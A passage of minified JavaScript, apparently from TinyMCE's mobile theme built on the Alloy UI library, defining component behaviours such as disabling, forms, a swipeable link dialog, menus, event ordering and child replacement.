disable = function (component, disableConfig, _disableState) { disableConfig.disableClass.each(function (disableClass) { add$1(component.element, disableClass); }); var f = hasNative(component, disableConfig) ? nativeDisable : ariaDisable; f(component); disableConfig.onDisabled(component); }; var enable = function (component, disableConfig, _disableState) { disableConfig.disableClass.each(function (disableClass) { remove$3(component.element, disableClass); }); var f = hasNative(component, disableConfig) ? nativeEnable : ariaEnable; f(component); disableConfig.onEnabled(component); }; var isDisabled = function (component, disableConfig) { return hasNative(component, disableConfig) ? nativeIsDisabled(component) : ariaIsDisabled(component); }; var set$1 = function (component, disableConfig, disableState, disabled) { var f = disabled ? disable : enable; f(component, disableConfig); }; var DisableApis = /*#__PURE__*/Object.freeze({ __proto__: null, enable: enable, disable: disable, isDisabled: isDisabled, onLoad: onLoad, set: set$1 }); var exhibit$1 = function (base, disableConfig) { return nu$3({ classes: disableConfig.disabled() ? disableConfig.disableClass.toArray() : [] }); }; var events$3 = function (disableConfig, disableState) { return derive$3([ abort(execute$5(), function (component, _simulatedEvent) { return isDisabled(component, disableConfig); }), loadEvent(disableConfig, disableState, onLoad) ]); }; var ActiveDisable = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$1, events: events$3 }); var DisableSchema = [ defaultedFunction('disabled', never), defaulted('useNative', true), option('disableClass'), onHandler('onDisabled'), onHandler('onEnabled') ]; var Disabling = create$5({ fields: DisableSchema, name: 'disabling', active: ActiveDisable, apis: DisableApis }); var owner$1 = 'form'; var schema$7 = [field$1('formBehaviours', [Representing])]; var getPartName = function (name) { return ''; }; var sketch$4 = function (fSpec) { var parts = function () { var record = []; var field = function (name, config) { record.push(name); return generateOne(owner$1, getPartName(name), config); }; return { field: field, record: constant$1(record) }; }(); var spec = fSpec(parts); var partNames = parts.record(); var fieldParts = map$2(partNames, function (n) { return required({ name: n, pname: getPartName(n) }); }); return composite$1(owner$1, schema$7, fieldParts, make$4, spec); }; var toResult = function (o, e) { return o.fold(function () { return Result.error(e); }, Result.value); }; var make$4 = function (detail, components) { return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.formBehaviours, [Representing.config({ store: { mode: 'manual', getValue: function (form) { var resPs = getAllParts(form, detail); return map$1(resPs, function (resPThunk, pName) { return resPThunk().bind(function (v) { var opt = Composing.getCurrent(v); return toResult(opt, new Error('Cannot find a current component to extract the value from for form part \'' + pName + '\': ' + element(v.element))); }).map(Representing.getValue); }); }, setValue: function (form, values) { each(values, function (newValue, key) { getPart(form, detail, key).each(function (wrapper) { Composing.getCurrent(wrapper).each(function (field) { Representing.setValue(field, newValue); }); }); }); } } })]), apis: { getField: function (form, key) { return getPart(form, detail, key).bind(Composing.getCurrent); } } }; }; var Form = { getField: makeApi(function (apis, component, key) { return apis.getField(component, key); }), sketch: sketch$4 }; var SWIPING_LEFT = 1; var SWIPING_RIGHT = -1; var SWIPING_NONE = 0; var init$3 = function (xValue) { return { xValue: xValue, points: [] }; }; var move = function (model, xValue) { if (xValue === model.xValue) { return model; } var currentDirection = xValue - model.xValue > 0 ? SWIPING_LEFT : SWIPING_RIGHT; var newPoint = { direction: currentDirection, xValue: xValue }; var priorPoints = function () { if (model.points.length === 0) { return []; } else { var prev = model.points[model.points.length - 1]; return prev.direction === currentDirection ? model.points.slice(0, model.points.length - 1) : model.points; } }(); return { xValue: xValue, points: priorPoints.concat([newPoint]) }; }; var complete = function (model) { if (model.points.length === 0) { return SWIPING_NONE; } else { var firstDirection = model.points[0].direction; var lastDirection = model.points[model.points.length - 1].direction; return firstDirection === SWIPING_RIGHT && lastDirection === SWIPING_RIGHT ? SWIPING_RIGHT : firstDirection === SWIPING_LEFT && lastDirection === SWIPING_LEFT ? SWIPING_LEFT : SWIPING_NONE; } }; var sketch$3 = function (rawSpec) { var navigateEvent = 'navigateEvent'; var wrapperAdhocEvents = 'serializer-wrapper-events'; var formAdhocEvents = 'form-events'; var schema = objOf([ required$1('fields'), defaulted('maxFieldIndex', rawSpec.fields.length - 1), required$1('onExecute'), required$1('getInitialValue'), customField('state', function () { return { dialogSwipeState: value(), currentScreen: Cell(0) }; }) ]); var spec$1 = asRawOrDie$1('SerialisedDialog', schema, rawSpec); var navigationButton = function (direction, directionName, enabled) { return Button.sketch({ dom: dom$1(''), action: function (button) { emitWith(button, navigateEvent, { direction: direction }); }, buttonBehaviours: derive$2([Disabling.config({ disableClass: resolve('toolbar-navigation-disabled'), disabled: function () { return !enabled; } })]) }); }; var reposition = function (dialog, message) { descendant(dialog.element, '.' + resolve('serialised-dialog-chain')).each(function (parent) { set$5(parent, 'left', -spec$1.state.currentScreen.get() * message.width + 'px'); }); }; var navigate = function (dialog, direction) { var screens = descendants(dialog.element, '.' + resolve('serialised-dialog-screen')); descendant(dialog.element, '.' + resolve('serialised-dialog-chain')).each(function (parent) { if (spec$1.state.currentScreen.get() + direction >= 0 && spec$1.state.currentScreen.get() + direction < screens.length) { getRaw(parent, 'left').each(function (left) { var currentLeft = parseInt(left, 10); var w = get$5(screens[0]); set$5(parent, 'left', currentLeft - direction * w + 'px'); }); spec$1.state.currentScreen.set(spec$1.state.currentScreen.get() + direction); } }); }; var focusInput = function (dialog) { var inputs = descendants(dialog.element, 'input'); var optInput = Optional.from(inputs[spec$1.state.currentScreen.get()]); optInput.each(function (input) { dialog.getSystem().getByDom(input).each(function (inputComp) { dispatchFocus(dialog, inputComp.element); }); }); var dotitems = memDots.get(dialog); Highlighting.highlightAt(dotitems, spec$1.state.currentScreen.get()); }; var resetState = function () { spec$1.state.currentScreen.set(0); spec$1.state.dialogSwipeState.clear(); }; var memForm = record(Form.sketch(function (parts) { return { dom: dom$1('
    '), components: [Container.sketch({ dom: dom$1('
    '), components: map$2(spec$1.fields, function (field, i) { return i <= spec$1.maxFieldIndex ? Container.sketch({ dom: dom$1('
    '), components: [ navigationButton(-1, 'previous', i > 0), parts.field(field.name, field.spec), navigationButton(+1, 'next', i < spec$1.maxFieldIndex) ] }) : parts.field(field.name, field.spec); }) })], formBehaviours: derive$2([ orientation(function (dialog, message) { reposition(dialog, message); }), Keying.config({ mode: 'special', focusIn: function (dialog, _specialInfo) { focusInput(dialog); }, onTab: function (dialog, _specialInfo) { navigate(dialog, +1); return Optional.some(true); }, onShiftTab: function (dialog, _specialInfo) { navigate(dialog, -1); return Optional.some(true); } }), config(formAdhocEvents, [ runOnAttached(function (dialog, _simulatedEvent) { resetState(); var dotitems = memDots.get(dialog); Highlighting.highlightFirst(dotitems); spec$1.getInitialValue(dialog).each(function (v) { Representing.setValue(dialog, v); }); }), runOnExecute(spec$1.onExecute), run(transitionend(), function (dialog, simulatedEvent) { var event = simulatedEvent.event; if (event.raw.propertyName === 'left') { focusInput(dialog); } }), run(navigateEvent, function (dialog, simulatedEvent) { var event = simulatedEvent.event; var direction = event.direction; navigate(dialog, direction); }) ]) ]) }; })); var memDots = record({ dom: dom$1('
    '), behaviours: derive$2([Highlighting.config({ highlightClass: resolve('dot-active'), itemClass: resolve('dot-item') })]), components: bind$3(spec$1.fields, function (_f, i) { return i <= spec$1.maxFieldIndex ? [spec('
    ')] : []; }) }); return { dom: dom$1('
    '), components: [ memForm.asSpec(), memDots.asSpec() ], behaviours: derive$2([ Keying.config({ mode: 'special', focusIn: function (wrapper) { var form = memForm.get(wrapper); Keying.focusIn(form); } }), config(wrapperAdhocEvents, [ run(touchstart(), function (_wrapper, simulatedEvent) { var event = simulatedEvent.event; spec$1.state.dialogSwipeState.set(init$3(event.raw.touches[0].clientX)); }), run(touchmove(), function (_wrapper, simulatedEvent) { var event = simulatedEvent.event; spec$1.state.dialogSwipeState.on(function (state) { simulatedEvent.event.prevent(); spec$1.state.dialogSwipeState.set(move(state, event.raw.touches[0].clientX)); }); }), run(touchend(), function (wrapper, _simulatedEvent) { spec$1.state.dialogSwipeState.on(function (state) { var dialog = memForm.get(wrapper); var direction = -1 * complete(state); navigate(dialog, direction); }); }) ]) ]) }; }; var getGroups = cached(function (realm, editor) { return [{ label: 'the link group', items: [sketch$3({ fields: [ field('url', 'Type or paste URL'), field('text', 'Link text'), field('title', 'Link title'), field('target', 'Link target'), hidden('link') ], maxFieldIndex: [ 'url', 'text', 'title', 'target' ].length - 1, getInitialValue: function () { return Optional.some(getInfo(editor)); }, onExecute: function (dialog, _simulatedEvent) { var info = Representing.getValue(dialog); applyInfo(editor, info); realm.restoreToolbar(); editor.focus(); } })] }]; }); var sketch$2 = function (realm, editor) { return forToolbarStateAction(editor, 'link', 'link', function () { var groups = getGroups(realm, editor); realm.setContextToolbar(groups); forAndroid(editor, function () { realm.focusToolbar(); }); query(editor).each(function (link) { editor.selection.select(link.dom); }); }); }; var isRecursive = function (component, originator, target) { return eq(originator, component.element) && !eq(originator, target); }; var events$2 = derive$3([can(focus$4(), function (component, simulatedEvent) { var event = simulatedEvent.event; var originator = event.originator; var target = event.target; if (isRecursive(component, originator, target)) { console.warn(focus$4() + ' did not get interpreted by the desired target. ' + '\nOriginator: ' + element(originator) + '\nTarget: ' + element(target) + '\nCheck the ' + focus$4() + ' event handlers'); return false; } else { return true; } })]); var DefaultEvents = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$2 }); var make$3 = identity; var NoContextApi = function (getComp) { var getMessage = function (event) { return 'The component must be in a context to execute: ' + event + (getComp ? '\n' + element(getComp().element) + ' is not in context.' : ''); }; var fail = function (event) { return function () { throw new Error(getMessage(event)); }; }; var warn = function (event) { return function () { console.warn(getMessage(event)); }; }; return { debugInfo: constant$1('fake'), triggerEvent: warn('triggerEvent'), triggerFocus: warn('triggerFocus'), triggerEscape: warn('triggerEscape'), broadcast: warn('broadcast'), broadcastOn: warn('broadcastOn'), broadcastEvent: warn('broadcastEvent'), build: fail('build'), addToWorld: fail('addToWorld'), removeFromWorld: fail('removeFromWorld'), addToGui: fail('addToGui'), removeFromGui: fail('removeFromGui'), getByUid: fail('getByUid'), getByDom: fail('getByDom'), isConnected: never }; }; var singleton = NoContextApi(); var generateFrom$1 = function (spec, all) { var schema = map$2(all, function (a) { return optionObjOf(a.name(), [ required$1('config'), defaulted('state', NoState) ]); }); var validated = asRaw('component.behaviours', objOf(schema), spec.behaviours).fold(function (errInfo) { throw new Error(formatError(errInfo) + '\nComplete spec:\n' + JSON.stringify(spec, null, 2)); }, identity); return { list: all, data: map$1(validated, function (optBlobThunk) { var output = optBlobThunk.map(function (blob) { return { config: blob.config, state: blob.state.init(blob.config) }; }); return constant$1(output); }) }; }; var getBehaviours$1 = function (bData) { return bData.list; }; var getData = function (bData) { return bData.data; }; var byInnerKey = function (data, tuple) { var r = {}; each(data, function (detail, key) { each(detail, function (value, indexKey) { var chain = get$c(r, indexKey).getOr([]); r[indexKey] = chain.concat([tuple(key, value)]); }); }); return r; }; var combine$1 = function (info, baseMod, behaviours, base) { var modsByBehaviour = __assign({}, baseMod); each$1(behaviours, function (behaviour) { modsByBehaviour[behaviour.name()] = behaviour.exhibit(info, base); }); var byAspect = byInnerKey(modsByBehaviour, function (name, modification) { return { name: name, modification: modification }; }); var combineObjects = function (objects) { return foldr(objects, function (b, a) { return __assign(__assign({}, a.modification), b); }, {}); }; var combinedClasses = foldr(byAspect.classes, function (b, a) { return a.modification.concat(b); }, []); var combinedAttributes = combineObjects(byAspect.attributes); var combinedStyles = combineObjects(byAspect.styles); return nu$3({ classes: combinedClasses, attributes: combinedAttributes, styles: combinedStyles }); }; var sortKeys = function (label, keyName, array, order) { try { var sorted = sort(array, function (a, b) { var aKey = a[keyName]; var bKey = b[keyName]; var aIndex = order.indexOf(aKey); var bIndex = order.indexOf(bKey); if (aIndex === -1) { throw new Error('The ordering for ' + label + ' does not have an entry for ' + aKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2)); } if (bIndex === -1) { throw new Error('The ordering for ' + label + ' does not have an entry for ' + bKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2)); } if (aIndex < bIndex) { return -1; } else if (bIndex < aIndex) { return 1; } else { return 0; } }); return Result.value(sorted); } catch (err) { return Result.error([err]); } }; var uncurried = function (handler, purpose) { return { handler: handler, purpose: purpose }; }; var curried = function (handler, purpose) { return { cHandler: handler, purpose: purpose }; }; var curryArgs = function (descHandler, extraArgs) { return curried(curry.apply(undefined, [descHandler.handler].concat(extraArgs)), descHandler.purpose); }; var getCurried = function (descHandler) { return descHandler.cHandler; }; var behaviourTuple = function (name, handler) { return { name: name, handler: handler }; }; var nameToHandlers = function (behaviours, info) { var r = {}; each$1(behaviours, function (behaviour) { r[behaviour.name()] = behaviour.handlers(info); }); return r; }; var groupByEvents = function (info, behaviours, base) { var behaviourEvents = __assign(__assign({}, base), nameToHandlers(behaviours, info)); return byInnerKey(behaviourEvents, behaviourTuple); }; var combine = function (info, eventOrder, behaviours, base) { var byEventName = groupByEvents(info, behaviours, base); return combineGroups(byEventName, eventOrder); }; var assemble = function (rawHandler) { var handler = read$1(rawHandler); return function (component, simulatedEvent) { var rest = []; for (var _i = 2; _i < arguments.length; _i++) { rest[_i - 2] = arguments[_i]; } var args = [ component, simulatedEvent ].concat(rest); if (handler.abort.apply(undefined, args)) { simulatedEvent.stop(); } else if (handler.can.apply(undefined, args)) { handler.run.apply(undefined, args); } }; }; var missingOrderError = function (eventName, tuples) { return Result.error(['The event (' + eventName + ') has more than one behaviour that listens to it.\nWhen this occurs, you must ' + 'specify an event ordering for the behaviours in your spec (e.g. [ "listing", "toggling" ]).\nThe behaviours that ' + 'can trigger it are: ' + JSON.stringify(map$2(tuples, function (c) { return c.name; }), null, 2)]); }; var fuse = function (tuples, eventOrder, eventName) { var order = eventOrder[eventName]; if (!order) { return missingOrderError(eventName, tuples); } else { return sortKeys('Event: ' + eventName, 'name', tuples, order).map(function (sortedTuples) { var handlers = map$2(sortedTuples, function (tuple) { return tuple.handler; }); return fuse$1(handlers); }); } }; var combineGroups = function (byEventName, eventOrder) { var r = mapToArray(byEventName, function (tuples, eventName) { var combined = tuples.length === 1 ? Result.value(tuples[0].handler) : fuse(tuples, eventOrder, eventName); return combined.map(function (handler) { var assembled = assemble(handler); var purpose = tuples.length > 1 ? filter$2(eventOrder[eventName], function (o) { return exists(tuples, function (t) { return t.name === o; }); }).join(' > ') : tuples[0].name; return wrap(eventName, uncurried(assembled, purpose)); }); }); return consolidate(r, {}); }; var _a; var baseBehaviour = 'alloy.base.behaviour'; var schema$6 = objOf([ field$2('dom', 'dom', required$2(), objOf([ required$1('tag'), defaulted('styles', {}), defaulted('classes', []), defaulted('attributes', {}), option('value'), option('innerHtml') ])), required$1('components'), required$1('uid'), defaulted('events', {}), defaulted('apis', {}), field$2('eventOrder', 'eventOrder', mergeWith((_a = {}, _a[execute$5()] = [ 'disabling', baseBehaviour, 'toggling', 'typeaheadevents' ], _a[focus$4()] = [ baseBehaviour, 'focusing', 'keying' ], _a[systemInit()] = [ baseBehaviour, 'disabling', 'toggling', 'representing' ], _a[input$1()] = [ baseBehaviour, 'representing', 'streaming', 'invalidating' ], _a[detachedFromDom()] = [ baseBehaviour, 'representing', 'item-events', 'tooltipping' ], _a[mousedown()] = [ 'focusing', baseBehaviour, 'item-type-events' ], _a[touchstart()] = [ 'focusing', baseBehaviour, 'item-type-events' ], _a[mouseover()] = [ 'item-type-events', 'tooltipping' ], _a[receive$1()] = [ 'receiving', 'reflecting', 'tooltipping' ], _a)), anyValue()), option('domModification') ]); var toInfo = function (spec) { return asRaw('custom.definition', schema$6, spec); }; var toDefinition = function (detail) { return __assign(__assign({}, detail.dom), { uid: detail.uid, domChildren: map$2(detail.components, function (comp) { return comp.element; }) }); }; var toModification = function (detail) { return detail.domModification.fold(function () { return nu$3({}); }, nu$3); }; var toEvents = function (info) { return info.events; }; var add = function (element, classes) { each$1(classes, function (x) { add$1(element, x); }); }; var remove$1 = function (element, classes) { each$1(classes, function (x) { remove$3(element, x); }); }; var renderToDom = function (definition) { var subject = SugarElement.fromTag(definition.tag); setAll$1(subject, definition.attributes); add(subject, definition.classes); setAll(subject, definition.styles); definition.innerHtml.each(function (html) { return set$7(subject, html); }); var children = definition.domChildren; append$1(subject, children); definition.value.each(function (value) { set$2(subject, value); }); if (!definition.uid) { debugger; } writeOnly(subject, definition.uid); return subject; }; var getBehaviours = function (spec) { var behaviours = get$c(spec, 'behaviours').getOr({}); return bind$3(keys(behaviours), function (name) { var behaviour = behaviours[name]; return isNonNullable(behaviour) ? [behaviour.me] : []; }); }; var generateFrom = function (spec, all) { return generateFrom$1(spec, all); }; var generate$1 = function (spec) { var all = getBehaviours(spec); return generateFrom(spec, all); }; var getDomDefinition = function (info, bList, bData) { var definition = toDefinition(info); var infoModification = toModification(info); var baseModification = { 'alloy.base.modification': infoModification }; var modification = bList.length > 0 ? combine$1(bData, baseModification, bList, definition) : infoModification; return merge(definition, modification); }; var getEvents = function (info, bList, bData) { var baseEvents = { 'alloy.base.behaviour': toEvents(info) }; return combine(bData, info.eventOrder, bList, baseEvents).getOrDie(); }; var build$2 = function (spec) { var getMe = function () { return me; }; var systemApi = Cell(singleton); var info = getOrDie(toInfo(spec)); var bBlob = generate$1(spec); var bList = getBehaviours$1(bBlob); var bData = getData(bBlob); var modDefinition = getDomDefinition(info, bList, bData); var item = renderToDom(modDefinition); var events = getEvents(info, bList, bData); var subcomponents = Cell(info.components); var connect = function (newApi) { systemApi.set(newApi); }; var disconnect = function () { systemApi.set(NoContextApi(getMe)); }; var syncComponents = function () { var children$1 = children(item); var subs = bind$3(children$1, function (child) { return systemApi.get().getByDom(child).fold(function () { return []; }, pure$2); }); subcomponents.set(subs); }; var config = function (behaviour) { var b = bData; var f = isFunction(b[behaviour.name()]) ? b[behaviour.name()] : function () { throw new Error('Could not find ' + behaviour.name() + ' in ' + JSON.stringify(spec, null, 2)); }; return f(); }; var hasConfigured = function (behaviour) { return isFunction(bData[behaviour.name()]); }; var getApis = function () { return info.apis; }; var readState = function (behaviourName) { return bData[behaviourName]().map(function (b) { return b.state.readState(); }).getOr('not enabled'); }; var me = { uid: spec.uid, getSystem: systemApi.get, config: config, hasConfigured: hasConfigured, spec: spec, readState: readState, getApis: getApis, connect: connect, disconnect: disconnect, element: item, syncComponents: syncComponents, components: subcomponents.get, events: events }; return me; }; var buildSubcomponents = function (spec) { var components = get$c(spec, 'components').getOr([]); return map$2(components, build$1); }; var buildFromSpec = function (userSpec) { var _a = make$3(userSpec), specEvents = _a.events, spec = __rest(_a, ['events']); var components = buildSubcomponents(spec); var completeSpec = __assign(__assign({}, spec), { events: __assign(__assign({}, DefaultEvents), specEvents), components: components }); return Result.value(build$2(completeSpec)); }; var text = function (textContent) { var element = SugarElement.fromText(textContent); return external({ element: element }); }; var external = function (spec) { var extSpec = asRawOrDie$1('external.component', objOfOnly([ required$1('element'), option('uid') ]), spec); var systemApi = Cell(NoContextApi()); var connect = function (newApi) { systemApi.set(newApi); }; var disconnect = function () { systemApi.set(NoContextApi(function () { return me; })); }; var uid = extSpec.uid.getOrThunk(function () { return generate$2('external'); }); writeOnly(extSpec.element, uid); var me = { uid: uid, getSystem: systemApi.get, config: Optional.none, hasConfigured: never, connect: connect, disconnect: disconnect, getApis: function () { return {}; }, element: extSpec.element, spec: spec, readState: constant$1('No state'), syncComponents: noop, components: constant$1([]), events: {} }; return premade$1(me); }; var uids = generate$2; var isSketchSpec = function (spec) { return has$2(spec, 'uid'); }; var build$1 = function (spec) { return getPremade(spec).getOrThunk(function () { var userSpecWithUid = isSketchSpec(spec) ? spec : __assign({ uid: uids('') }, spec); return buildFromSpec(userSpecWithUid).getOrDie(); }); }; var premade = premade$1; var hoverEvent = 'alloy.item-hover'; var focusEvent = 'alloy.item-focus'; var onHover = function (item) { if (search(item.element).isNone() || Focusing.isFocused(item)) { if (!Focusing.isFocused(item)) { Focusing.focus(item); } emitWith(item, hoverEvent, { item: item }); } }; var onFocus = function (item) { emitWith(item, focusEvent, { item: item }); }; var hover = constant$1(hoverEvent); var focus$1 = constant$1(focusEvent); var builder$2 = function (detail) { return { dom: detail.dom, domModification: __assign(__assign({}, detail.domModification), { attributes: __assign(__assign(__assign({ 'role': detail.toggling.isSome() ? 'menuitemcheckbox' : 'menuitem' }, detail.domModification.attributes), { 'aria-haspopup': detail.hasSubmenu }), detail.hasSubmenu ? { 'aria-expanded': false } : {}) }), behaviours: SketchBehaviours.augment(detail.itemBehaviours, [ detail.toggling.fold(Toggling.revoke, function (tConfig) { return Toggling.config(__assign({ aria: { mode: 'checked' } }, tConfig)); }), Focusing.config({ ignore: detail.ignoreFocus, stopMousedown: detail.ignoreFocus, onFocus: function (component) { onFocus(component); } }), Keying.config({ mode: 'execution' }), Representing.config({ store: { mode: 'memory', initialValue: detail.data } }), config('item-type-events', __spreadArray(__spreadArray([], pointerEvents(), true), [ run(mouseover(), onHover), run(focusItem(), Focusing.focus) ], false)) ]), components: detail.components, eventOrder: detail.eventOrder }; }; var schema$5 = [ required$1('data'), required$1('components'), required$1('dom'), defaulted('hasSubmenu', false), option('toggling'), SketchBehaviours.field('itemBehaviours', [ Toggling, Focusing, Keying, Representing ]), defaulted('ignoreFocus', false), defaulted('domModification', {}), output('builder', builder$2), defaulted('eventOrder', {}) ]; var builder$1 = function (detail) { return { dom: detail.dom, components: detail.components, events: derive$3([stopper(focusItem())]) }; }; var schema$4 = [ required$1('dom'), required$1('components'), output('builder', builder$1) ]; var owner = constant$1('item-widget'); var parts$3 = constant$1([required({ name: 'widget', overrides: function (detail) { return { behaviours: derive$2([Representing.config({ store: { mode: 'manual', getValue: function (_component) { return detail.data; }, setValue: noop } })]) }; } })]); var builder = function (detail) { var subs = substitutes(owner(), detail, parts$3()); var components$1 = components(owner(), detail, subs.internals()); var focusWidget = function (component) { return getPart(component, detail, 'widget').map(function (widget) { Keying.focusIn(widget); return widget; }); }; var onHorizontalArrow = function (component, simulatedEvent) { return inside(simulatedEvent.event.target) ? Optional.none() : function () { if (detail.autofocus) { simulatedEvent.setSource(component.element); return Optional.none(); } else { return Optional.none(); } }(); }; return { dom: detail.dom, components: components$1, domModification: detail.domModification, events: derive$3([ runOnExecute(function (component, simulatedEvent) { focusWidget(component).each(function (_widget) { simulatedEvent.stop(); }); }), run(mouseover(), onHover), run(focusItem(), function (component, _simulatedEvent) { if (detail.autofocus) { focusWidget(component); } else { Focusing.focus(component); } }) ]), behaviours: SketchBehaviours.augment(detail.widgetBehaviours, [ Representing.config({ store: { mode: 'memory', initialValue: detail.data } }), Focusing.config({ ignore: detail.ignoreFocus, onFocus: function (component) { onFocus(component); } }), Keying.config({ mode: 'special', focusIn: detail.autofocus ? function (component) { focusWidget(component); } : revoke(), onLeft: onHorizontalArrow, onRight: onHorizontalArrow, onEscape: function (component, simulatedEvent) { if (!Focusing.isFocused(component) && !detail.autofocus) { Focusing.focus(component); return Optional.some(true); } else if (detail.autofocus) { simulatedEvent.setSource(component.element); return Optional.none(); } else { return Optional.none(); } } }) ]) }; }; var schema$3 = [ required$1('uid'), required$1('data'), required$1('components'), required$1('dom'), defaulted('autofocus', false), defaulted('ignoreFocus', false), SketchBehaviours.field('widgetBehaviours', [ Representing, Focusing, Keying ]), defaulted('domModification', {}), defaultUidsSchema(parts$3()), output('builder', builder) ]; var itemSchema = choose$1('type', { widget: schema$3, item: schema$5, separator: schema$4 }); var configureGrid = function (detail, movementInfo) { return { mode: 'flatgrid', selector: '.' + detail.markers.item, initSize: { numColumns: movementInfo.initSize.numColumns, numRows: movementInfo.initSize.numRows }, focusManager: detail.focusManager }; }; var configureMatrix = function (detail, movementInfo) { return { mode: 'matrix', selectors: { row: movementInfo.rowSelector, cell: '.' + detail.markers.item }, focusManager: detail.focusManager }; }; var configureMenu = function (detail, movementInfo) { return { mode: 'menu', selector: '.' + detail.markers.item, moveOnTab: movementInfo.moveOnTab, focusManager: detail.focusManager }; }; var parts$2 = constant$1([group({ factory: { sketch: function (spec) { var itemInfo = asRawOrDie$1('menu.spec item', itemSchema, spec); return itemInfo.builder(itemInfo); } }, name: 'items', unit: 'item', defaults: function (detail, u) { return has$2(u, 'uid') ? u : __assign(__assign({}, u), { uid: generate$2('item') }); }, overrides: function (detail, u) { return { type: u.type, ignoreFocus: detail.fakeFocus, domModification: { classes: [detail.markers.item] } }; } })]); var schema$2 = constant$1([ required$1('value'), required$1('items'), required$1('dom'), required$1('components'), defaulted('eventOrder', {}), field$1('menuBehaviours', [ Highlighting, Representing, Composing, Keying ]), defaultedOf('movement', { mode: 'menu', moveOnTab: true }, choose$1('mode', { grid: [ initSize(), output('config', configureGrid) ], matrix: [ output('config', configureMatrix), required$1('rowSelector') ], menu: [ defaulted('moveOnTab', true), output('config', configureMenu) ] })), itemMarkers(), defaulted('fakeFocus', false), defaulted('focusManager', dom$2()), onHandler('onHighlight') ]); var focus = constant$1('alloy.menu-focus'); var make$2 = function (detail, components, _spec, _externals) { return { uid: detail.uid, dom: detail.dom, markers: detail.markers, behaviours: augment(detail.menuBehaviours, [ Highlighting.config({ highlightClass: detail.markers.selectedItem, itemClass: detail.markers.item, onHighlight: detail.onHighlight }), Representing.config({ store: { mode: 'memory', initialValue: detail.value } }), Composing.config({ find: Optional.some }), Keying.config(detail.movement.config(detail, detail.movement)) ]), events: derive$3([ run(focus$1(), function (menu, simulatedEvent) { var event = simulatedEvent.event; menu.getSystem().getByDom(event.target).each(function (item) { Highlighting.highlight(menu, item); simulatedEvent.stop(); emitWith(menu, focus(), { menu: menu, item: item }); }); }), run(hover(), function (menu, simulatedEvent) { var item = simulatedEvent.event.item; Highlighting.highlight(menu, item); }) ]), components: components, eventOrder: detail.eventOrder, domModification: { attributes: { role: 'menu' } } }; }; var Menu = composite({ name: 'Menu', configFields: schema$2(), partFields: parts$2(), factory: make$2 }); var preserve = function (f, container) { var dos = getRootNode(container); var refocus = active(dos).bind(function (focused) { var hasFocus = function (elem) { return eq(focused, elem); }; return hasFocus(container) ? Optional.some(container) : descendant$1(container, hasFocus); }); var result = f(container); refocus.each(function (oldFocus) { active(dos).filter(function (newFocus) { return eq(newFocus, oldFocus); }).fold(function () { focus$3(oldFocus); }, noop); }); return result; }; var set = function (component, replaceConfig, replaceState, data) { preserve(function () { var newChildren = map$2(data, component.getSystem().build); replaceChildren(component, newChildren); }, component.element); }; var insert = function (component, replaceConfig, insertion, childSpec) { var child = component.getSystem().build(childSpec); attachWith(component, child, insertion); }; var append = function (component, replaceConfig, replaceState, appendee) { insert(component, replaceConfig, append$2, appendee); }; var prepend = function (component, replaceConfig, replaceState, prependee) { insert(component, replaceConfig, prepend$1, prependee); }; var remove = function (component, replaceConfig, replaceState, removee) { var children = contents(component); var foundChild = find$2(children, function (child) { return eq(removee.element, child.element); }); foundChild.each(detach); }; var contents = function (component, _replaceConfig) { return component.components(); }; var replaceAt = function (component, replaceConfig, replaceState, replaceeIndex, replacer) { var children = contents(component); return Optional.from(children[replaceeIndex]).map(function (replacee) { remove(component, replaceConfig, replaceState, replacee); replacer.each(function (r) { insert(component, replaceConfig, function (p, c) { appendAt(p, c, replaceeIndex); }, r); }); return replacee; }); }; var replaceBy = function (component, replaceConfig, replaceState, replaceePred, replacer) { var children = contents(component); return findIndex$1(children, replaceePred).bind(function (replaceeIndex) { return replaceAt(component, replaceConfig, replaceState, replaceeIndex, replacer); }); }; var ReplaceApis = /*#__PURE__*/Object.freeze({ __proto__: null, append: append, prepend: prepend, remove: remove, replaceAt: replaceAt, replaceBy: replaceBy, set: set, contents: contents }); var Replacing = create$5({ fields: [], name: 'replacing', apis: ReplaceApis }); var transpose = function (obj) { return tupleMap(obj, function (v, k) { return { k: v, v: k }; }); }; var trace = function (items, byItem, byMenu, finish) { return get$c(byMenu, finish).bind(function (triggerItem) { return get$c(items, triggerItem).bind(function (triggerMenu) { var rest = trace(items, byItem, byMenu, triggerMenu); return Optional.some([triggerMenu].concat(rest)); }); }).getOr([]); }; var generate = function (menus, expansions) { var items = {}; each(menus, function (menuItems, menu) { each$1(menuItems, function (item) { items[item] = menu; }); }); var byItem = expansions; var byMenu = transpose(expansions); var menuPaths = map$1(byMenu, function (_triggerItem, submenu) { return [submenu].concat(trace(items, byItem, byMenu, submenu)); }); return map$1(items, function (menu) { return get$c(menuPaths, menu).getOr([menu]); }); }; var init$2 = function () { var expansions = Cell({}); var menus = Cell({}); var paths = Cell({}); var primary = value(); var directory = Cell({}); var clear = function () { expansions.set({}); menus.set({}); paths.set({}); primary.clear(); }; var isClear = function () { return primary.get().isNone(); }; var setMenuBuilt = function (menuName, built) { var _a; menus.set(__assign(__assign({}, menus.get()), (_a = {}, _a[menuName] = { type: 'prepared', menu: built }, _a))); }; var setContents = function (sPrimary, sMenus, sExpansions, dir) { primary.set(sPrimary); expansions.set(sExpansions); menus.set(sMenus); directory.set(dir); var sPaths = generate(dir, sExpansions); paths.set(sPaths); }; var getTriggeringItem = function (menuValue) { return find(expansions.get(), function (v, _k) { return v === menuValue; }); }; var getTriggerData = function (menuValue, getItemByValue, path) { return getPreparedMenu(menuValue).bind(function (menu) { return getTriggeringItem(menuValue).bind(function (triggeringItemValue) { return getItemByValue(triggeringItemValue).map(function (triggeredItem) { return { triggeredMenu: menu, triggeringItem: triggeredItem, triggeringPath: path }; }); }); }); }; var getTriggeringPath = function (itemValue, getItemByValue) { var extraPath = filter$2(lookupItem(itemValue).toArray(), function (menuValue) { return getPreparedMenu(menuValue).isSome(); }); return get$c(paths.get(), itemValue).bind(function (path) { var revPath = reverse(extraPath.concat(path)); var triggers = bind$3(revPath, function (menuValue, menuIndex) { return getTriggerData(menuValue, getItemByValue, revPath.slice(0, menuIndex + 1)).fold(function () { return is(primary.get(), menuValue) ? [] : [Optional.none()]; }, function (data) { return [Optional.some(data)]; }); }); return sequence(triggers); }); }; var expand = function (itemValue) { return get$c(expansions.get(), itemValue).map(function (menu) 